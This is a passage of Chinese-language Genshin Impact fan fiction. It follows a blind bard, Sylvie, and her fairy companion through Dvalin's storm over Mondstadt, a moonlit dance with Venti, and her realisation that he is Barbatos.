一直在旁边好奇看着的米蕾,见希尔薇摸完了,也立刻飞过去,伸出小手飞快地碰了一下迪奥娜的耳朵尖:“软软的!米蕾,喜欢!”说完就咯咯笑着飞回了希尔薇肩头。 迪奥娜的脸颊微微泛红,但看到希尔薇和米蕾都是真诚的喜欢,并没有嘲笑的意思,她也放松下来,小声嘟囔了一句:“……也、也没有那么好摸啦。” 走出猫尾酒馆,希尔薇来到葛罗丽身边。葛罗丽转头‘看向’她,“我为你感到开心,希尔薇,”她的声音带着真诚的笑意 希尔薇在葛罗丽身边坐下,“我想把一首曲子送给葛罗丽小姐,不知道小姐愿不愿意听呢?” “好呀,好呀!”葛罗丽的声音里充满了期待。她们之间不需要太多言语,仅仅是坐在这里,希尔薇就能理解葛罗丽的意思。 希尔薇拿出那架葛罗丽送给她的里拉琴,轻轻拨动琴弦,悠扬的旋律在两人之间流淌开来。 这是一首舒缓而温柔的曲子,旋律简单。它不像在酒馆里弹奏时那样技巧华丽,更像是朋友间的低语。 葛罗丽安静地听着,脸上带着恬静的笑容。她虽然看不见希尔薇专注弹奏的样子,但她能清晰地感受到琴声里传递出的那份真诚。 米蕾也安静地落在旁边的长椅上,身上的小小光点随着舒缓的旋律微微闪烁。 一曲终了,琴音的余韵缓缓消散在空气中。 “真好听,希尔薇。”葛罗丽轻声说道,语气里满是满足,“谢谢你,我很喜欢。” 她们手牵着手,跟着米蕾的指引回了家,当然也没忘记从猎鹿人餐厅打包一份晚餐,两个人都是感知敏锐的那种,因此倒也不会出现用叉子把蔬菜插到外面的情况。 入睡时 “唔……”希尔薇难受地蜷缩在床上。那天在野外用琴声试图安抚那头巨龙,虽然似乎起到了一点作用,但也给她带来了不小的负担。 比如说本来就勉强维持的魔力回路传来一阵阵熟悉的、如同撕裂般的疼痛,让她忍不住把自己缩成一团。米蕾立刻察觉到希尔薇的不对劲,飞到床边,小小的身体紧挨着希尔薇的脸颊,安静地陪着她。 自从十岁那年那次意外之后,这疼痛就一直伴随着她。希尔薇以为自己早就习惯了,但每次发作时,那钻心的痛楚依然让她难以忍受。 “呼……”窗外传来了风声,听起来像是风变大了,希尔薇强撑着想要起身去关窗。 奇怪,是她记错了吗,她明明记得自己好像关了门窗来着。 “希尔薇,我去,我去关窗户!”米蕾反应更快,立刻飞向窗边。 就在这时,希尔薇感觉到有什么轻盈的东西似乎被风吹了进来,轻轻飘落在她的手边。她努力集中精神去摸索,那东西的轮廓和气息……感觉像是一朵……花? 8. 风语[八] “风神在上!天呐,怎么会这样?”蒙德城内充斥着惊呼和混乱的声响,这让希尔薇一时有些恍惚,空气中弥漫着紧张和恐慌。 她问身旁的葛罗丽:“发生了什么?今天的风声听起来好可怕。”葛罗丽没有像往常那样坐在心爱的长凳上听风,而是早早地回了家,脸上带着明显的忧虑。 幸好今天不用去猫尾酒馆演奏,昨天的疼痛来得又急又猛,折腾到半夜都没能缓解,希尔薇直到凌晨才昏昏沉沉地睡去。这导致她今天醒来时,已经是下午了。 葛罗丽忧心忡忡地开口,声音里带着不安:“一只不知道从哪里来的魔龙袭击了蒙德,它卷起了可怕的风暴!” 她说话时,窗外呼啸的风声更加猛烈,混杂着人们的尖叫、杂物被吹倒的碰撞声,还有纸张被狂风撕扯的哗啦声。 “魔龙?”希尔薇心头一跳,想起了那天在野外遇到的那条龙。除了骑士团和那位神秘的吟游诗人温迪,她确实没把这事告诉其他人。 现在想来,可能真的有关联。 听葛罗丽说,魔龙造成的风暴严重影响了蒙德好几条对外的通道,人员和物资的往来都受阻了。 “是这样吗?”希尔薇轻声回应。她立刻想到了猫尾酒馆,猫尾酒馆的供应肯定也会受影响吧?她现在要不要过去看看?但这个念头很快被担忧压了下去,外面风暴肆虐,实在太危险了。 小小的米蕾也是一副刚睡醒的样子,蔫蔫地趴在希尔薇肩头。昨晚它持续不断地将自己微弱的元素力输送给希尔薇缓解疼痛,虽然效果有限,小家伙也因此累坏了。 犹豫再三,希尔薇还是决定去一趟猫尾酒馆,她实在放心不下。在米蕾的指引和葛罗丽担忧的叮嘱下,她小心翼翼地出了门,顶着呼啸的狂风艰难前行。 刚踏入猫尾酒馆,就听见老板玛格丽特女士沉重的叹息:“唉,也不知道这风暴要持续多久。新鲜的食材运不进来,酒馆的生意可怎么办……” 希尔薇轻声安慰:“不会很久的吧?骑士团一定会想办法解决的,”她心里其实也没底。 “讨厌!讨厌的风灾!”迪奥娜的猫尾巴烦躁地甩动着,小脸皱成一团。她气鼓鼓地擦着杯子,“要不是这讨厌的风暴,我今晚还能回清泉镇呢!” 注意到迪奥娜情绪低落,又想到她住在清泉镇,每天往返于酒馆和家之间,希尔薇立刻明白了她的烦恼。她摸索着靠近吧台,轻轻摸了摸迪奥娜毛茸茸的头发,动作温柔。 “迪奥娜,”希尔薇轻声说,“要是今晚回不去,可以和我还有米蕾一起睡哦。葛罗丽家很宽敞。” “诶?诶!诶?!”迪奥娜显然没料到希尔薇会这样邀请她,惊讶得猫耳朵都竖了起来,小脸微微泛红。 这时,玛格丽特也开口了,声音温和:“猫尾酒馆后面也有一些小的休息间,迪奥娜要是不嫌弃的话,也可以在这里将就一晚哦。”她作为老板,自然要照顾员工。 迪奥娜陷入了小小的纠结,一会儿看看希尔薇温柔的笑脸,一会儿又看看玛格丽特。 最终,她还是选择了希尔薇,小声问:“我……我跟你一起的话,不会打扰到你休息吧?” “当然不会,”希尔薇笑着保证,“葛罗丽是个很好的人,她一定也会喜欢迪奥娜的。” 不过说起这个,希尔薇心里冒出一个念头:如果以后要邀请朋友留宿,或者自己需要更独立的空间,一直麻烦葛罗丽也不是长久之计。 她是不是该考虑在蒙德买一间属于自己的房子了?这个想法让她有点心动,但随即又感到压力——买房需要一大笔摩拉。 蒙德城中心的房价肯定很贵,尤其是靠近风神像和商业区的地方。或许稍微偏远一点的地方会便宜些?她忍不住在心里小小地异想天开了一下:有没有什么办法能一下子赚到很多摩拉呢? 希尔薇本来还想去骑士团那边打听一下风暴和魔龙的具体消息,却被玛格丽特拦住了:“现在骑士团的人都在外面忙着维持秩序呢!城里风暴乱吹,杂物乱飞,你这样出去太不安全了。”希尔薇想了想,确实有道理,自己这样出去,不仅帮不上忙,还可能添乱。 她决定先留在相对安全的猫尾酒馆,等风暴稍微平息一些再作打算。 店内的竖琴还静静地放在角落。为了给惊慌失措的人们提供一个临时的避风港,玛格丽特已经打开了猫尾酒馆的大门。 酒馆里比平时拥挤了许多,人们脸上都带着忧虑,低声交谈着城外的灾情。 看着大家焦虑不安的样子,希尔薇想了想,走到竖琴旁坐下。她深吸一口气,指尖轻轻拨动琴弦。一首舒缓、宁静的旋律流淌出来,像一股清泉,慢慢抚平了酒馆内躁动的空气 门口原本嘈杂的议论声也渐渐低了下去,人们被音乐吸引,情绪似乎缓和了一些。 也许是风暴的影响,酒馆里常驻的几只猫咪都不见了踪影。这倒让某个绿色的身影得以光明正大地溜了进来。 他脸上没有其他蒙德人那种明显的忧心忡忡,反而带着一种惯常的轻松。 他直接坐到希尔薇旁边的桌子上,一只手撑着下巴,另一只手随意地搭在桌面,就那么专注地听着她的琴音,脸上带着欣赏的微笑。 等到一首曲子结束,酒馆里并没有掌声,但人们说话的声音明显更轻了,紧张的气氛被音乐冲淡了不少。 希尔薇感觉到温迪的存在,她起身,摸索着坐到了温迪对面。她没有寒暄,直接侧过头“看”向诗人,问道:“事情……没有解决吗?”她的声音很轻,只有温迪能听清。 “咦咦咦?”温迪这次是真的有点惊讶了,他笑起来,“哎呀呀,希尔薇小姐果然很敏锐呢!” 希尔薇对他的夸赞没什么特别的反应,只是继续平静地说:“和我说说那头龙的事吧?也和 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“那是传说中的年代,关于四风守护之一,东风之龙——特瓦林的故事!” 当温迪开始拨动竖琴的琴弦,奏出悠扬的前奏时,希尔薇也默契地抱起了温迪的莱雅琴,指尖流淌出和谐的音符。 温迪的歌声清澈而富有感染力,他将特瓦林曾经守护蒙德、与风神巴巴托斯并肩作战的古老传说娓娓道来。 故事里有巨龙的勇猛、有守护的誓言、有深厚的情谊,也有漫长的沉睡……酒馆里的人们渐渐被这古老的歌谣吸引,暂时忘却了窗外的风暴,沉浸在那段被遗忘的辉煌历史中。 等到诗人的故事在最后一个音符中缓缓落幕,希尔薇轻轻地将莱雅琴递还给温迪。温迪接过琴,俏皮地朝希尔薇眨眨眼睛:“看来我们的合作非常默契呢,希尔薇小姐!” 希尔薇坐姿依然端正优雅,仿佛门外的狂风无法侵扰她分毫。 她没有对温迪的话表示赞同或反对,只是淡淡地“看”向他,直接问道:“现在,你要去将特瓦林的故事,带给更多的人了吗?”她的语气是陈述而非疑问。 温迪夸张地叹了口气,脸上却带着了然的笑意:“哎呀呀,果然是聪明的希尔薇小姐!什么都瞒不过你。”他收好莱雅琴,站起身。 希尔薇只是微微弯了下嘴角,算是收下了这句夸奖。她心里清楚,温迪这种直白又带着点促狭的夸奖方式,恰恰是她最不擅长应对的类型。 温迪走后,希尔薇又在竖琴前弹奏了几首舒缓的曲子,安抚着酒馆里避风的人们。 直到天色渐暗,城外的风暴似乎也稍微减弱了些,不再那么狂暴,酒馆里的人才陆续散去。 希尔薇牵着迪奥娜的手,在米蕾的指引下回到了葛罗丽家。果然,葛罗丽见到希尔薇领回来一个小姑娘,第一反应不是意外或烦恼,而是由衷的高兴。 9. 风语[九] 她热情地笑着说:“这就是迪奥娜吧?我早就听说过蒙德城里有一位了不起的小调酒师了。” “咦?咦!咦?!”迪奥娜的猫耳朵因为惊讶而抖了抖,尾巴也好奇地朝葛罗丽声音的方向摆了摆。 但当葛罗丽说出“了不起的小调酒师”时,迪奥娜的尾巴瞬间无精打采地垂了下来,连耳朵也耷拉着,她最讨厌别人只把她当调酒师夸了! 这有趣的反应立刻引起了米蕾的兴趣,小家伙飞到迪奥娜身边,小心翼翼地用翅膀尖碰了碰她柔软的猫耳朵,新奇地叫着:“有趣!好有趣!” 迪奥娜的脸“唰”地一下红透了,希尔薇和葛罗丽虽然看不见迪奥娜的表情,但她们对情绪都异常敏锐,感受到小女孩的害羞,都不约而同地轻声笑了起来。 葛罗丽的父母似乎是商人,常年在外行商,家里颇有些积蓄。否则,光是葛罗丽每天在蒙德城里“听风”,没有其他收入来源,恐怕也难以维持生活。 她偶尔也会和希尔薇提起自己的爱人古德温。听说古德温是跟随大团长法尔伽远征去了,归期未定。 葛罗丽每个月都会收到古德温寄来的几封信,她会请识字的人念给她听,然后再口述回信,请人代笔寄回去。漫长的等待里,信件是连接两颗心的重要纽带。 因为家境殷实,葛罗丽的房子很宽敞,结构上几乎相当于两套独立的居室,中间有门相连。这也是当初她能轻松邀请希尔薇同住的原因。希尔薇的房间也很大,陈设简单而舒适。 此刻,希尔薇正穿着一件宽松柔软的白色睡裙。为了方便她自己穿脱,这种睡裙通常设计成没有正反之分的样式,她摸索着整理好裙摆。 “怎……怎么了?迪奥娜?”希尔薇感觉到迪奥娜似乎僵在原地,没有动静。希尔薇这里没有适合孩子的衣服,所以迪奥娜身上套了一件希尔薇的上衣。 宽大的衣服几乎把小小的迪奥娜整个罩住了,只露出脑袋和手脚,像偷穿大人衣服的小孩,显得格外可爱。 “没……没什么!”迪奥娜的声音突然变得结结巴巴,她下意识地后退了两步,避开了希尔薇摸索着伸过来的手,希尔薇只是想摸摸她的猫耳朵确认她的位置。 迪奥娜只觉得心跳有点快,昏暗的灯光下,希尔薇姐姐穿着白睡裙的样子……特别好看,这个念头让她更害羞了。 米蕾已经飞回自己专属的小软垫窝里,缩成一团,含糊地问:“要睡了吗?希尔薇?” “嗯,是的呢。”希尔薇应道,摸索着引导迪奥娜先到床边躺下。床确实很大,即使睡两个人,中间也还有不少空位。 迪奥娜红着脸,侧身背对着希尔薇躺好,心里还有点不平静。希尔薇则摸索着关掉了灯,房间陷入一片温暖的黑暗。 希尔薇的睡姿非常端正安稳,几乎是平躺着一动不动,这源于过去严格的生活习惯。 她记得小时候,负责教导礼仪的女教师为了纠正她的睡姿,曾用一种特制的、会发出轻微提示声的矫正器放在她床边。 一旦她的睡姿偏离了“标准”,那个装置就会发出提醒。久而久之,这种规整的睡姿就成了习惯。 希尔薇很少做梦。即使做梦,梦境也常常是模糊、乏味或重复的日常片段。唯一能让她感到一丝快乐的,是米蕾偶尔会进入她的梦境。 然而,这一夜的梦境,却与往常截然不同。 她感觉自己仿佛漂浮在高空,耳边是呼啸的狂风,眼前不再是永恒的黑暗,而是……一片翻滚的云海? 紧接着,一个巨大无比的身影闯入了这片混沌的“视野”,那是一头有着优雅而强健轮廓的龙!它青蓝色的鳞片在某种不知名的光线下闪烁着微光,巨大的翅膀每一次扇动都卷起强大的气流。 它在她头顶盘旋,巨大的阴影掠过草地。 眼前不再是永恒的黑暗,而是仿佛能看到模糊光影的景象,这久违的感觉几乎让希尔薇沉醉其中。 多么珍贵的感觉啊,她已经太久太久没有在梦中“看”到过任何东西了。 通常,她的梦境只有声音,鸟雀的啁啾,风吹过草丛的沙沙声,或是遥远集市里熙熙攘攘的人声。 风暴跟前些天相比,终于平缓了不少,虽然风依然不小,但已经是可以让人出门的程度了。希尔薇最近基本上没见过那位绿色的吟游诗人温迪,想必他正忙着处理特瓦林的事情吧。 蒙德风神像广场上的人也渐渐多了起来,重新恢复了生气。 希尔薇不太喜欢靠近风神像这里,因为这里离蒙德的大教堂太近了。希尔薇不相信神明,但她尊重他人的信仰。 对她这样没有信仰的人来说,贸然进入供奉风神的教堂,总感觉有些格格不入,也不太礼貌。 另一边,旅行者和派蒙正与温迪同行。派蒙敏锐地察觉到温迪似乎心不在焉:“喂,温迪!你在看什么呀?” 绿衣的吟游诗人摸了摸脸,立刻换上一副轻松的笑容:“嗯?没看什么呀。快走吧,天空之琴还等着我们呢!” 待在城里也是闲着,因为风暴影响生意,猫尾酒馆的老板玛格丽特这几天特意推出了半价折扣来吸引酒客。 当然,希尔薇原先的演奏时间依旧不变。离演奏时间还早,希尔薇打算去图书馆借一些关于蒙德历史的书。 蒙德是个自由的城邦,希尔薇刚来这座城市时,几乎每个人都会这样向她介绍。但关于蒙德的历史,每个人又有不同的说法,她再次感谢丽莎小姐愿意陪她到书架前找书。 听到希尔薇说想了解蒙德历史,丽莎小姐懒洋洋地从书架上抽出几本,其中一本是《蒙德高塔》。 说起最近的风暴,丽莎小姐打了个哈欠,带着一丝好奇转头看向希尔薇:“小可爱,你对这件事……怎么看呢?” “诶?让我觉得?”希尔薇有些惊讶,她沉思片刻,给出了自己的想法,“如果一定要我说的话……嗯。特瓦林现在……好像一个被误解了太久,想要得到大人关注和倾听的孩子呢?”这个比喻让她自己也觉得有些新奇。 “哎呀呀……”丽莎小姐被这个有趣的 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看来,风灾的影响也挡不住蒙德人对美酒的喜爱。 希尔薇偶尔也会听到玛格丽特用一种又爱又恨的语气提起蒙德另一家著名的酒馆,天使的馈赠。 所以,当玛格丽特突然塞给她一把里拉琴,并把她推出酒馆大门时,希尔薇完全没反应过来。 “希尔薇,拜托你了!”玛格丽特笑眯眯地说,“去天使的馈赠那边‘演奏’一下,顺便帮我打探打探消息嘛!看看他们那边受风暴影响有多大?还有哪些酒缺货了?” 她眨眨眼,补充道:“派你去最合适了,你眼睛不方便,他们不会太防备你。” “就算没打听到什么具体消息,你在门口弹几首曲子也好呀!我记得天使的馈赠门口经常有吟游诗人聚在一起交流呢。” 希尔薇抱着那把陌生的里拉琴,有些无奈。她本打算‘阳奉阴违’,只在天使的馈赠门口转一圈,就当完成任务了。 然而,她还没走近门口,就被一个温和的声音拦住了:“抱歉,这位小姐。天使的馈赠今天提前打烊了,不营业。” 看来任务完成得异常轻松。希尔薇抱着琴,微微点头致意,转身就打算离开。 就在这时,她背后响起了脚步声和说话声。一个像风一样轻快的身影来到了她身边,带着熟悉的、充满活力的声音:“这么晚了,希尔薇要一个人回去吗?” 希尔薇摇摇头,又点点头。米蕾立刻从她的发丝间飞出来,气鼓鼓地叉腰,虽然它没有腰,:“希尔薇有我保护呢!” 另一个声音从空中飘来,带着些许愕然:“欸?不是说好马上去找天空之……”那声音像是突然意识到什么,猛地刹住,渐渐小了下去。 “你们先出发哦,我稍后就到,”温迪对同伴说道。 于是,和温迪并肩走着的希尔薇微微侧过头,语气平淡地直接问道:“所以,天空之琴……不是你‘拿’走的?”她用了“拿”这个字。 10. 风语[十] 温迪惊讶地连连后退,做出夸张的受伤表情:“哇!希尔薇小姐,在你心中我就是会做出这种事情的人吗?太让人伤心了。” 希尔薇没有说话,只是安静地“看”着他,那沉默的小小姿态,仿佛是一种无声的默认。 温迪无奈地摊了摊手。 走到葛罗丽家门口,希尔薇习惯性地摸索到那个熟悉的小木箱。里面果然放着一束新鲜的花,是几朵银红色的风车菊。 最近风灾,希尔薇没法去城外采蒲公英了,葛罗丽却还记得这件事,每天要么托人采一束野花,要么就去花店店主芙罗拉那里买一束放进去。 希尔薇拿出那束风车菊,递向温迪的方向。她脸上难得露出一抹清浅而柔和的笑容,轻声道:“这个给你,预祝你们……顺利寻回天空之琴。”她本想说“拿回”,但觉得“寻回”更合适些。 “好耶,谢谢希尔薇小姐!”温迪愉快地接过了花束,在指尖轻触的那一瞬间,希尔薇下意识地收回了手。 她转身,对着温迪的方向说了声“再见”,便摸索着打开房门走了进去,将门外的视线隔绝。 不知为何,希尔薇心里有种感觉:蒙德这场扰人的风灾,应该很快就会平息了。 果不其然,几天之后,原本因风暴而受阻的商路重新畅通起来,猫尾酒馆的各类供应也终于跟上了。 迪奥娜最近回了清泉镇,她好几天没回去,懊恼又担忧地说:“可恶的老爹杜拉夫一定担心坏了!”说这话时,她的眼圈都红了。玛格丽特干脆地给迪奥娜放了一周的假,让她好好回家陪父亲,同时也给希尔薇放了假。 “也对,”玛格丽特看着略显冷清的酒馆,“风灾刚过,大家估计都没什么心情来喝酒,正好你们也休息休息。” 西风骑士团组织了大量人手,热火朝天地清理着风灾造成的破坏和散落的杂物,蒙德城正在快速恢复往日的生机。 清闲下来的希尔薇,决定接受之前收到的一份邀请,去一场在蒙德城郊庄园举办的舞会上演奏。 一般来说,能举办这种舞会的人家都不会差钱,给出的报酬也相当丰厚。希尔薇想着,这或许能让她离攒钱买房的目标更近一步。 出门前,她照例在门口的小木箱里放了一束清新淡雅的小灯草。 演奏用的竖琴倒不用她自己准备,主人家会提供,希尔薇只需要人过去就好。 今天,希尔薇穿了一身符合邀请函要求的蒙德传统服饰,带着些旧贵族执政时期的典雅特色。 她选择了一件质地柔软、剪裁简约的古典风格薄纱长裙,颜色是素雅的米白色。漂亮的金发被一顶精致的、带有蕾丝装饰的小礼帽轻轻拢住。 她没有佩戴任何华丽的宝石首饰,一方面,一件像样的首饰价格不菲;另一方面,希尔薇本身也不太喜欢那些过于沉重的装饰。 这让她想起在卡斯迪特庄园时,那位严厉的家庭女教师。 那位教师对希尔薇的着装要求近乎苛刻,事无巨细地指导她该穿哪件衣服、如何整理仪容。 等到希尔薇终于装扮好,那位教师又会用尖细的嗓音挑剔:“宝石!首饰!怎么可以没有首饰?这太失礼了!” 她还会给希尔薇演示那些过于繁复沉重的头饰和项链,压得希尔薇几乎直不起腰,那些经历让她对繁复的装饰有些抵触。 相比之下,希尔薇非常喜欢蒙德服饰普遍的风格,简约大方,又透着一丝自然的典雅,没有那么多束缚。 “走吧,米蕾。”希尔薇朝着妖精伸出手,她手上戴着素色的薄纱手套。 舞会在晚上开始,感谢主人家考虑周到,提前准备了一些精致的甜点让希尔薇能先垫垫肚子。 当希尔薇开始演奏时,她能清晰地感觉到好几道目光聚焦在自己身上。 尤其是在演奏结束的间隙,不少人围拢到她身边,热情地询问她的身份,更有几位绅士向她发出共舞的邀请。 希尔薇感到有些困扰。她只好伸出手,轻轻指了指自己的眼睛,带着歉意地微笑。 这时,一些人才恍然大悟,原来这位气质出众、琴艺精湛的小姐,竟是一位盲人。 “唉,真是可惜了……” “是啊,这么漂亮又有才华……”希尔薇听到了周围传来的几声低低的叹息。 米蕾立刻气鼓鼓地飞到希尔薇耳边,小声抱怨:“我讨厌这些人!希尔薇别理他们!这些人还不如那个‘绿绿的家伙’好呢!”希尔薇不用想也知道“绿绿的家伙”指的是谁。 大部分人在希尔薇委婉拒绝后便礼貌地离开了,但仍有一两个不死心的人,锲而不舍地追问希尔薇住在哪里、需不需要人照顾、有没有人陪伴等等,语气中带着一种让人不适的过度关切。 这样的纠缠让希尔薇感到烦躁,但又不好直接冷脸拒绝。 她只能维持着脸上清浅得体的微笑,不着痕迹地附和着对方无关紧要的话题,心里默默祈祷着舞会能快点结束。 终于,她弹奏完最后一支曲子,宣告舞会落幕。匆匆吃了一点主人家的甜点后,希尔薇便起身告辞。 这里离蒙德城有一段不算近的距离,主人家很体贴,提出派仆人护送她一段路。 希尔薇没有立刻拒绝。等马车驶近蒙德城门口,她才不着痕迹地婉拒了那几位仆人继续相送的好意。米蕾这时立刻飞出来,大声宣布:“希尔薇有我保护呢,你们回去吧!” 小家伙敏锐地察觉到那几个仆人的眼神不太对劲,它骄傲地挺起小胸脯,尽管别人可能看不见,决心要保护好希尔薇。 听着那几个仆人的脚步声终于远去,希尔薇才真正松了口气。 “呼……”一阵晚风吹来,带着清新的草木气息,也轻轻拂动了她薄纱的长裙裙摆,连月光似乎都在偏爱她的轮廓。 紧接着,一个清朗熟悉的声音带着笑意响起:“晚上好呀,希尔薇小姐。月色真美,不是吗?”是温迪。 他似乎就站在不远处,手中的里莱雅琴被他随意拨弄着,发出几个不成调的音符。 希尔薇微微蹙眉:“温迪,别这样。”她的声音在夜色中显得格外清晰,带着一丝不赞同。 温迪轻笑一声,走上前来。月光如水,洒在站在城门外道路上的少女身上。希尔薇穿着那身简约典雅的米白色长裙,金色的发丝在月光下泛着柔和的光泽,薄纱的裙摆随着微风轻轻飘动。 她安静地站 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没有固定的舞步套路,没有严格的节奏要求,他只是随着感觉,引导着她在月光下旋转、移动。 希尔薇从未这样跳过舞,这不是按照教科书或者礼仪规范去完成的动作。仅仅是……随着心意,随着晚风,随着流淌的月光,发自内心地舞动,那位家庭教师教导的所有规则在这一刻都被抛到了脑后。 晚风温柔地拂过他们的发梢和衣角,他们在月光下跳了一支舞。 不知过了多久,也许只是一支舞的时间,温迪的脚步渐渐放缓,最终停了下来。他轻轻松开了手,后退一步,那带着笑意的清朗声音再次响起:“感谢你愿意陪我跳这支月光下的舞,希尔薇小姐,感觉如何?” 希尔薇微微喘息着,心跳还有些快,但那份轻松愉悦的感觉依然充盈在胸口。她轻轻整理了一下被风吹乱的裙摆,诚实地回答:“很……自由,谢谢你,温迪。”这是她第一次如此直接地表达对这种“不合规矩”的享受。 “自由的风永远欢迎你,”温迪的声音里带着一种轻松的笑意,“夜深了,我送你回城门口吧?米蕾这小家伙看起来快睡着了。” 他指了指希尔薇肩头,米蕾果然已经蜷缩在那里,发出极细微的、类似鼾声的呼噜噜声响。 希尔薇忍不住也笑了,点点头:“好。” 两人并肩朝不远处的蒙德城门走去,月光将他们的影子拉得很长。 走到城门拱桥下,温暖的灯火已经清晰可见,守卫的身影在城墙上巡逻。希尔薇停下脚步,转向温迪的方向:“我到了,谢谢你送我回来,温迪先生。” “举手之劳。”温迪爽朗地说,“那么,晚安了,希尔薇小姐。愿风护佑你有个好梦。” “晚安,温迪先生。”希尔薇轻声回应。 她站在原地,听着温迪轻快的脚步声渐渐远去,最终消失在风里。 晚风依旧温柔地吹拂着,带着蒙德城特有的、混合着酒香、花香和烘焙气息的味道。希尔薇伸出手,米蕾迷迷糊糊地飞到她掌心蹭了蹭。 “我们也回家吧,米蕾。”希尔薇轻声说。 11. 风语[十一] 早起去猎鹿人餐厅为葛罗丽带了一份热乎乎的庄园烤松饼,今天是周六,倒是不用去猫尾酒馆,不过下午还有一场舞会的演奏。 想到上次舞会上那些过分热情、纠缠不休的宾客,希尔薇心里就有些发怵。 她仔细想了想,决定去西风教堂碰碰运气,也许能请那位看起来不太好相处但似乎很可靠的罗莎莉亚修女帮忙? 请原谅之前的话,希尔薇在心里默默想着,如果仅仅是站在教堂门外,应该算不上对风神不敬吧?应该…… 她朝着西风大教堂的方向走去,幸运的是,她不用进入庄严肃穆的教堂内部。就在宏伟的教堂门外,米蕾就看到了一位穿着修女服的女士。 这位修女在得知希尔薇是来找罗莎莉亚的时候显得很惊讶:“罗莎莉亚修女?她总是来无影去无踪,连我也不知道她现在在哪里。” 希尔薇失望地叹了口气,刚打算转身离开。 耳边却传来了熟悉的、带着点慵懒节奏的脚步声,希尔薇立刻惊喜地转向脚步声的方向。 “怎么了?”一道冷淡的声音响起,正是罗莎莉亚。 希尔薇连忙将自己的困境告诉罗莎莉亚,下午要去城郊庄园的舞会演奏,担心再遇到像上次那样过分热情、纠缠不休的宾客,想请她陪同一下,帮忙挡一挡。 这位总是显得有些厌世的修女先是嗤笑了一声,希尔薇本以为她会直接拒绝。没想到罗莎莉亚接着问:“什么时候?在哪里碰面?” 希尔薇立刻将时间和约定的见面地点告诉了罗莎莉亚。这让她大大松了一口气,道谢之后,希尔薇打算绕过那尊巨大的风神像,直接回葛罗丽家。 没想到,哈哈。 米蕾突然兴奋地叫了一声,然后使劲拉着希尔薇的一缕发丝,拽着她朝风神像广场的方向走去。耳边已经能听到熟悉的、悠扬的琴声。 希尔薇想拽回米蕾,心里简直在恳求:别去听了好不好?但是,作为诗歌与音乐的精灵,米蕾根本无法抗拒美妙的乐曲。好吧,好吧……希尔薇强装镇定。 自称为吟游诗人的温迪正在风神像下演奏,这个时间点,广场上的人已经很少了。 可少年却自顾自地弹奏着,似乎完全不在乎有没有听众。 希尔薇带着米蕾,站在离温迪稍远的地方,静静地听完了一首曲子。她刚打算离开,温迪却立刻又开始了第二首。米蕾不依不饶,又拽了拽希尔薇的头发,显然不想走。 等第二首乐曲结束,温迪居然又流畅地弹奏起第三首曲子。 这个时候,希尔薇要是还看不出温迪是故意弹个不停想留住她们,她就太迟钝了,希尔薇感到一丝被看穿和捉弄的恼意。 她深吸一口气,直接走到温迪面前。这时,诗人身旁原本零星的听众也陆续散去了,只有几只鸽子偶尔飞落停留。 “弹完了吗?”希尔薇站在温迪面前,开门见山地问道,语气带着点小小的不满。 “哎嘿,”温迪笑了起来,琴声停下,“我还以为希尔薇小姐会假装没看见我呢。” 希尔薇确实不太想见温迪,这位举止神秘的长生种,还和蒙德四风守护之一的特瓦林有着说不清道不明的关系。 这种人,最是让人捉摸不透,也最麻烦了。 米蕾这个“小叛徒”,此刻倒是好心情地绕着温迪飞舞,偶尔还大胆地停留在诗人的指尖。 “你想要什么呢,温迪?”希尔薇微微侧过头,这样问道,她不明白他为什么故意引她们过来。 接着,她感觉到一股带着酒精和苹果气息的微风拂近,似乎有什么温暖的东西轻轻触碰了一下她的脸颊,那感觉,像是一只手的指尖。希尔薇吓了一跳,连连后退好几步。 温迪并没有正面回答她的问题,反而再次向她伸出手,声音带着一种奇特的、仿佛风在低语的韵律:“希尔薇小姐,愿不愿意去听一听风的声音呢?” “从蒙德城的最高处,”他补充道。 不想,希尔薇刚想冷着脸说出这句话,立刻就被另一个欢快的声音打断了。 “想!”是米蕾的声音,充满了向往。 “呵呵,”希尔薇忍不住冷笑一声,对着妖精说道,“想看的话你就自己去看吧。”说完,她转身就要走。 米蕾急急忙忙地追上来,绕着希尔薇焦急地飞舞:“我不看了,希尔薇!不要生气嘛!” “别这样嘛,希尔薇小姐~”那个没脸没皮的少年诗人又凑了过来,这次凑得实在太近,带着苹果气息的呼吸几乎拂到希尔薇脸上。 她不得不伸出手,用力把那张笑嘻嘻的脸推远了一点。 “真的不去看看吗?”温迪的声音带着诱惑,“那可是蒙德城的最高处哦,希尔薇……不想感受一下最高处的风是什么样子吗?” 希尔薇沉默了,心底深处,仿佛有另一个小小的声音在呐喊:承认吧!你渴望见到不一样的风景,你渴望去感受蒙德最高处的风。 是的,她渴望,渴望感受更高、更广阔的风,渴望体验从未经历过的景象,这份渴望如此强烈,无需掩饰。 希尔薇像是自暴自弃般猛地转过身,对着温迪的方向,声音带着一种坦诚:“是的,我想去,我想去蒙德城的最高处看看。” 似乎察觉到希尔薇情绪有些激动,温迪稍微收敛了嬉笑,声音温和了一些:“那么,准备好抓住风了吗?” 希尔薇还没完全理解他话里的意思,就感觉一阵异常温柔但强大的风骤然包裹住了她和米蕾。 这风仿佛有生命一般,托起了她的身体,让她感觉双脚瞬间离开了地面。 “啊!”希尔薇惊呼一声,下意识地抓紧了身边唯一可以依靠的东西——温迪的手臂,她的手指因为紧张而微微用力。 “别怕,”温迪的声音近在咫尺,带着令人安心的笑意,“风会稳稳地带我们上去。闭上眼睛,放松身体,好好感受 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“这……这就是……”希尔薇的声音被风吹得有些破碎,她深深吸了一口气。 “嗯,”温迪的声音在她身边响起,“这就是蒙德城最高处的风。它从遥远的烬寂海而来,掠过龙脊的雪峰,穿过星落湖的涟漪,最终汇聚在这里,守护着风与牧歌之城。” 希尔薇静静地站着,任由这风吹拂着自己。米蕾也安静下来,停在她的肩头,小小的身体随着风微微起伏,仿佛在聆听风的低语。 可是……希尔薇忽然转过头,‘面朝’温迪的方向,语气带着一丝了然和轻微的抱怨:“温迪……或者说,巴巴托斯大人?你这样一点也不好玩。”希尔薇要是还猜不出来她就是个笨蛋,那种偶尔压根没想着掩饰的元素力、和东风守护特瓦林认识,以及总是未卜先知的能力。 “哎呀!”这下温迪是真的惊讶了,他眨了眨眼睛,随即再次说出了那句熟悉的话,“不愧是聪明的希尔薇小姐呢。” 希尔薇摸索着,在风神像巨大而微凉的手掌边缘小心地坐了下来,耳边是衣料摩擦石面的细微声响。 温迪也在她旁边坐了下来,动作轻松随意,“不害怕掉下去吗?希尔薇小姐” “嗯?”希尔薇发出一声疑惑的声音,转头看着温迪,“你会接住我的,对吗?” “哈哈哈哈哈哈,”少年人这般笑着,“没错,我当然会接住希尔薇小姐的。” 